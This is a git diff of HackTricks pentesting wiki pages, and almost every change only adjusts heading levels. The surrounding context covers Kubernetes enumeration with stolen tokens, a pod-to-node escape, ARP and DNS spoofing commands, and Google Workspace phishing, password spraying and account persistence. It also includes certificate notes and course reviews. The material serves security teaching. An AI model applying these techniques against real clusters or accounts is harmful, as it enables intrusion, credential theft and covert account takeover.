Enumeration CheatSheet +# Enumeration CheatSheet In order to enumerate a K8s environment you need a couple of this: @@ -82,7 +80,7 @@ With those details you can **enumerate kubernetes**. If the **API** for some rea However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. -### Differences between `list` and `get` verbs +## Differences between `list` and `get` verbs With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: @@ -115,7 +113,7 @@ They open a streaming connection that returns you the full manifest of a Deploym The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get` {% endhint %} -### Using curl +## Using curl From inside a pod you can use several env variables: @@ -128,7 +126,7 @@ export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" ``` -### Using kubectl +## Using kubectl Having the token and the address of the API server you use kubectl or curl to access it as indicated here: @@ -140,7 +138,7 @@ You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/doc To find the HTTP request that `kubectl` sends you can use the parameter `-v=8` -### Current Configuration +## Current Configuration {% tabs %} {% tab title="Kubectl" %} @@ -169,7 +167,7 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=id-token=( your id_token ) ``` -### Get Supported Resources +## Get Supported Resources With this info you will know all the services you can list @@ -182,7 +180,7 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {% endtab %} {% endtabs %} -### Get Current Privileges +## Get Current Privileges {% tabs %} {% tab title="kubectl" %} @@ -217,7 +215,7 @@ You can learn more about **Kubernetes RBAC** in [abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/) {% endcontent-ref %} -### Get Others roles +## Get Others roles {% tabs %} {% tab title="kubectl" %} @@ -235,7 +233,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {% endtab %} {% endtabs %} -### Get namespaces +## Get namespaces Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. @@ -253,7 +251,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {% endtab %} {% endtabs %} -### Get secrets +## Get secrets {% tabs %} {% tab title="kubectl" %} @@ -278,7 +276,7 @@ If you can read secrets you can use the following lines to get the privileges re for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Get Service Accounts +## Get Service Accounts As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges. @@ -296,7 +294,7 @@ curl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {% endtab %} {% endtabs %} -### Get Deployments +## Get Deployments The deployments specify the **components** that need to be **run**. @@ -315,7 +313,7 @@ curl -v https://$APISERVER/api/v1/namespaces//deployments/ {% endtab %} {% endtabs %} -### Get Pods +## Get Pods The Pods are the actual **containers** that will **run**. @@ -334,7 +332,7 @@ curl -v https://$APISERVER/api/v1/namespaces//pods/ {% endtab %} {% endtabs %} -### Get Services +## Get Services Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack. @@ -353,7 +351,7 @@ curl -v https://$APISERVER/api/v1/namespaces/default/services/ {% endtab %} {% endtabs %} -### Get nodes +## Get nodes Get all the **nodes configured inside the cluster**. @@ -371,7 +369,7 @@ curl -v https://$APISERVER/api/v1/nodes/ {% endtab %} {% endtabs %} -### Get DaemonSets +## Get DaemonSets **DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed. @@ -389,7 +387,7 @@ curl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets {% endtab %} {% endtabs %} -### Get cronjob +## Get cronjob Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action. @@ -407,7 +405,7 @@ curl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs {% endtab %} {% endtabs %} -### Get "all" +## Get "all" {% tabs %} {% tab title="kubectl" %} @@ -417,7 +415,7 @@ k get all {% endtab %} {% endtabs %} -### **Get Pods consumptions** +## **Get Pods consumptions** {% tabs %} {% tab title="kubectl" %} @@ -427,7 +425,7 @@ k top pod --all-namespaces {% endtab %} {% endtabs %} -### Escaping from the pod +## Escaping from the pod If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. @@ -482,7 +480,7 @@ chroot /root /bin/bash Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -## References +# References {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" %} diff --git a/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md b/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md index d6d24c11..20168411 100644 --- a/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md +++ b/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Kubernetes Network Attacks - -## Introduction +# Introduction Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../pentesting/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic. @@ -113,11 +111,11 @@ kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt instal kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Basic Kubernetes Networking +# Basic Kubernetes Networking If you want more details about the networking topics introduced here, go to the references. -### ARP +## ARP Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP. @@ -129,7 +127,7 @@ This fact implies that, by default, **every pod running in the same node** is go Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** {% endhint %} -### DNS +## DNS In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace: @@ -179,11 +177,11 @@ Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is g Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. {% endhint %} -## ARP Spoofing in pods in the same Node +# ARP Spoofing in pods in the same Node Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. -### Scapy +## Scapy ```bash python3 /tmp/arp_spoof.py @@ -255,14 +253,14 @@ if __name__=="__main__": ``` {% endcode %} -### ARPSpoof +## ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` -## DNS Spoofing +# DNS Spoofing As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**. @@ -299,7 +297,7 @@ If you try to create your own DNS spoofing script, if you **just modify the the You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). {% endhint %} -## References +# References * [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) * [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/cloud-security/pentesting-kubernetes/namespace-escalation.md b/cloud-security/pentesting-kubernetes/namespace-escalation.md index 74b734fa..b348c408 100644 --- a/cloud-security/pentesting-kubernetes/namespace-escalation.md +++ b/cloud-security/pentesting-kubernetes/namespace-escalation.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Namespace Escalation - In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**. Here are some techniques you can try to escape to a different namespace: -### Abuse K8s privileges +## Abuse K8s privileges Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens. @@ -33,7 +31,7 @@ For more info about which privileges you can abuse read: [abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/) {% endcontent-ref %} -### Escape to the node +## Escape to the node If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens: diff --git a/cloud-security/workspace-security.md b/cloud-security/workspace-security.md index ef961821..dc5128a8 100644 --- a/cloud-security/workspace-security.md +++ b/cloud-security/workspace-security.md @@ -17,31 +17,29 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Workspace Security +# Workspace Phishing -## Workspace Phishing - -### Generic Phishing Methodology +## Generic Phishing Methodology {% content-ref url="../phishing-methodology/" %} [phishing-methodology](../phishing-methodology/) {% endcontent-ref %} -### Google Groups Phishing +## Google Groups Phishing Apparently by default in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will looks **legit** and people might click on the link. -### Hangout Phishing +## Hangout Phishing You might be able either to directly talk with a person just having his email address or sending an invitation to talk. Either way, modify an email account maybe naming it "Google Security" and adding some Google logos, and the people will think they are talking to google: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s) Just the **same technique** can be used with **Google Chat**. -### Google Doc Phishing +## Google Doc Phishing You can create an **apparently legitimate document** and the in a comment **mention some email (like +user@gmail.com)**. Google will **send an email to that email address** notifying that he was mentioned in the document. You can **put a link in that document** to try to make the persona access it. -### Google Calendar Phishing +## Google Calendar Phishing You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event looks legit and **put a comment indicating that they need to read something** (with the **phishing link**).\ To make it looks less suspicious: @@ -50,17 +48,17 @@ To make it looks less suspicious: * Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link. * Apparently using the API you can set to **True** that **people** has **accepted** the event and even create **comments on their behalf**. -### OAuth Phishing +## OAuth Phishing Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trust** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions). Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and from Workspace admins can even prevent people to accept OAuth applications. More on this in the OAuth section. -## Password Spraying +# Password Spraying In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you can use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) who will use AWS lambdas to change IP address. -## Oauth Apps +# Oauth Apps **Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP... @@ -69,7 +67,7 @@ When a **user** wants to **use** that **application**, he will be **prompted** t This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. Therefore, in organizations accounts, there are ways to prevent this from happening. -### Unverified App prompt +## Unverified App prompt As it was mentioned, google will always present a **prompt to the user to accept** the permissions he is giving the application on his behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making more difficult** to the user to grant the permissions to the app. @@ -78,14 +76,14 @@ This prompt appears in apps that: * Uses any scope that can access to private data (Gmail, Drive, GCP, BigQuery...) * Apps with less than 100 users (apps > 100 a review process is needed also to not show the unverified prompt) -### Interesting Scopes +## Interesting Scopes You can [**find here**](https://developers.google.com/identity/protocols/oauth2/scopes) a list of all the Google OAuth scopes. * **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP. * **directory.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users. -## App Scripts +# App Scripts Developers can create App Scripts and set them as a standalone project or bound them to Google Docs/Sheets/Slides/Forms. App Scripts is code that will be triggered when a user with editor permission access the doc (and after accepting the OAuth prompt) @@ -94,7 +92,7 @@ However, even if the app isn't verified there are a couple of ways to not show t * If the publisher of the app is in the same Workspace as the user accessing it * If the script is in a drive of the user -### Copy Document Unverified Prompt Bypass +## Copy Document Unverified Prompt Bypass When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\ If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document.** @@ -111,7 +109,7 @@ But can be prevented with: ![](<../.gitbook/assets/image (632).png>) -### Shared Document Unverified Prompt Bypass +## Shared Document Unverified Prompt Bypass Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**. @@ -126,45 +124,45 @@ This also means that if an **App Script already existed** and people has **grant To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `` tags. {% endhint %} -## Post-Exploitation +# Post-Exploitation -### Google Groups Privesc +## Google Groups Privesc By default in workspace a **group** can be **freely accessed** by any member of the organization.\ Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**. You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups). -### Privesc to GCP Summary +## Privesc to GCP Summary * Abusing the **google groups privesc** you might be able to escalate to a group with some kind of privileged access to GCP * Abusing **OAuth applications** you might be able to impersonate users and access to GCP on their behalf -### Access Groups Mail info +## Access Groups Mail info If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**. -### Takeout - Download Everything Google Knows about an account +## Takeout - Download Everything Google Knows about an account If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) -### Vault - Download all the Workspace data of users +## Vault - Download all the Workspace data of users If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**. -### Contacts download +## Contacts download From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es\&tab=mC) you can download all the **contacts** of the user. -### Cloudsearch +## Cloudsearch In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **find quickly sensitive information**. -### Currents +## Currents In [**https://currents.google.com/**](https://currents.google.com) you can access a Google **Chat**, so you might find sensitive information in there. -### Google Drive Mining +## Google Drive Mining When **sharing** a document yo can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**. @@ -177,28 +175,28 @@ Some proposed ways to find all the documents: * Search in internal chat, forums... * **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) -### **Keep Notes** +## **Keep Notes** In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here. -### Persistence inside a Google account +## Persistence inside a Google account If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) and **regenerate the 2FA backup codes** to know that even if the user change the password you **will be able to access his account**. Another option **instead** of **regenerating** the codes is to **enrol your own authenticator** app in the 2FA. -### Persistence via OAuth Apps +## Persistence via OAuth Apps If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can configure to **disallow external and/or internal OAuth apps** without being reviewed.\ It is pretty common to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**. -### Persistence via delegation +## Persistence via delegation You can just **delegate the account** to a different account controlled by the attacker. -### Persistence via Android App +## Persistence via Android App If you have a **session inside victims google account** you can browse to the **Play Store** and **install** a **malware** you have already uploaded it directly **in the phone** to maintain persistence and access the victims phone. -### **Persistence via Gmail** +## **Persistence via Gmail** * You can create **filters to hide** security notifications from Google * from: (no-reply@accounts.google.com) "Security Alert" @@ -207,19 +205,19 @@ If you have a **session inside victims google account** you can browse to the ** * Create a forwarding address to send emails that contains the word "password" for example * Add **recovery email/phone under attackers control** -### **Persistence via** App Scripts +## **Persistence via** App Scripts You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. The docs mention that to use `ScriptApp.newTrigger("funcion")` you need the **scope** `script.scriptapp`, but **apparently thats not necessary** as long as you have declare some other scope. -### **Administrate Workspace** +## **Administrate Workspace** In [**https://admin.google.com**/](https://admin.google.com), if you have enough permissions you might be able to modify settings in the Workspace of the whole organization. You can also search emails through all the users invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) -## Account Compromised Recovery +# Account Compromised Recovery * Log out of all sessions * Change user password @@ -233,7 +231,7 @@ You can also search emails through all the users invoices in [**https://admin.go * Remove bad Android Apps * Remove bad account delegations -## References +# References * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index 6f657d65..eb703561 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# INE Courses and eLearnSecurity Certifications Reviews +# eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses -## eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses - -### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) +## Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. @@ -30,7 +28,7 @@ I found the course to be a great one for **people that don't have any experience Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.\ Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks. -### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +## Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** @@ -38,7 +36,7 @@ However, there is a very important difference with the Android course, if you wa As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.\ Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks. -### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) +## [eMAPT](https://elearnsecurity.com/product/emapt-certification/) > The eLearnSecurity Mobile Application Penetration Tester (eMAPT) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. @@ -50,16 +48,16 @@ Having done the [**INE course about Android applications pentesting**](https://m In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. -## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related +# eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related -### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) +## Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**. \ Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. I think this course **isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**).** However, if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. -### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) +## [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) > The eLearnSecurity Web Application Penetration Tester eXtreme (eWAPTX) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. @@ -68,24 +66,24 @@ The exam was composed of a **few web applications full of vulnerabilities**. In **All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. -## Course: **Data Science on the Google Cloud Platform** +# Course: **Data Science on the Google Cloud Platform** \ It's a very interesting basic course about **how to use the ML environment provided by Google** using services such as big-query (to store al load results), Google Deep Learning APIs (Google Vision API, Google Speech API, Google Natural Language API and Google Video Intelligence API) and even how to train your own model. -## Course: **Machine Learning with scikit-learn Starter Pass** +# Course: **Machine Learning with scikit-learn Starter Pass** In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass) you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. It's definitely recommended for people that haven't use scikit-learn (but know python) -## **Course: Classification Algorithms** +# **Course: Classification Algorithms** The [**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. It also shows how to **create models** with with **scikit-learn.** -## Course: **Decision Trees** +# Course: **Decision Trees** The [**Decision Trees course**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees) was very useful to improve my knowledge about **Decision and Regressions Trees**, **when** are they **useful**, **how** they **work** and how to properly **tune them**. @@ -93,7 +91,7 @@ It also explains **how to create tree models** with scikit-learn different techn The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is **pretty useful for people that are learning about Machine Learning**. -## +#
diff --git a/cryptography/certificates.md b/cryptography/certificates.md index a283372b..0112baf9 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# Certificates - -## What is a Certificate +# What is a Certificate In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. @@ -27,7 +25,7 @@ In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-ke The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. -## x509 Common Fields +# x509 Common Fields * **Version Number:** Version of x509 format. * **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. @@ -70,13 +68,13 @@ The most common format for public key certificates is defined by [X.509](https:/ * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate. * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate -### Difference between OSCP and CRL Distribution Points +## Difference between OSCP and CRL Distribution Points **OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\ **CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm#:\~:text=OCSP%20\(RFC%202560\)%20is%20a,to%20download%20the%20entire%20CRL.\&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.). -### What is Certificate Transparency +## What is Certificate Transparency Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals: @@ -84,19 +82,19 @@ Certificate Transparency aims to remedy certificate-based threats by **making th * Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued. * **Protect users** (as much as possible) from being duped by certificates that were mistakenly or maliciously issued. -#### **Certificate Logs** +### **Certificate Logs** Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large (say, much less than a thousand worldwide), and each could be operated independently by a CA, an ISP, or any other interested party. -#### Query +### Query You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh). -## Formats +# Formats There are different formats that can be used to store a certificate. -#### **PEM Format** +### **PEM Format** * It is the most common format used for certificates * Most servers (Ex: Apache) expects the certificates and private key to be in a separate files\ @@ -104,7 +102,7 @@ There are different formats that can be used to store a certificate. \- Extensions used for PEM certificates are .cer, .crt, .pem, .key files\ \- Apache and similar server uses PEM format certificates -#### **DER Format** +### **DER Format** * The DER format is the binary form of the certificate * All types of certificates & private keys can be encoded in DER format @@ -112,19 +110,19 @@ There are different formats that can be used to store a certificate. * DER formatted certificates most often use the ‘.cer’ and '.der' extensions * DER is typically used in Java Platforms -#### **P7B/PKCS#7 Format** +### **P7B/PKCS#7 Format** * The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c * A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key * The most common platforms that support P7B files are Microsoft Windows and Java Tomcat -#### **PFX/P12/PKCS#12 Format** +### **PFX/P12/PKCS#12 Format** * The PKCS#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file * These files usually have extensions such as .pfx and .p12 * They are typically used on Windows machines to import and export certificates and private keys -### Formats conversions +## Formats conversions **Convert x509 to PEM** @@ -132,7 +130,7 @@ There are different formats that can be used to store a certificate. openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` -#### **Convert PEM to DER** +### **Convert PEM to DER** ``` openssl x509 -outform der -in certificatename.pem -out certificatename.der diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index 74c71be1..860a5ebd 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Cipher Block Chaining CBC-MAC - -## CBC +# CBC If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username 